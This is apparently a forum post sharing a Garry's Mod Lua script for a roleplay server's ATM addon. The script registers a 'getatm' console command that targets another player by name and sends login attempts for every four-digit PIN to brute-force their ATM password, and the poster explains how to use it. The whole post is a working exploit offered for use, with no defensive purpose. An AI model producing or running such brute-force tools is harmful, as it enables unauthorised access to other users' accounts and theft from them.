Code:
concommand.Add("getatm", function(ply, cmd, args)
local targ = false
print(args[1]);
for i, ply in ipairs(player.GetAll()) do
if (string.find(string.lower(ply:Name()), string.lower(args[1]))) then
targ = ply;
break;
end
end
if (not targ or not targ:IsValid()) then print('targ is not valid'); return; end
for i = 1000, 9999 do
if (not targ or not targ:IsValid()) then print('target isn't valid anymore. stopping.'); return; end
timer.Simple(i / 350, function() -- adjust 350 for optimization, higher = faster, but can cause command sending loss; lower = slower but less commands failing to send
-- skid repellant
RunConsoleCommand("rp_atm_login", util.CRC(i), targ:UniqueID());
end)
end
print('found');
end)
i made this a while ago, not sure if this is the right ATM Banker. the command getatm <player's name> will force brute the player's password. remember to stand next to an atm.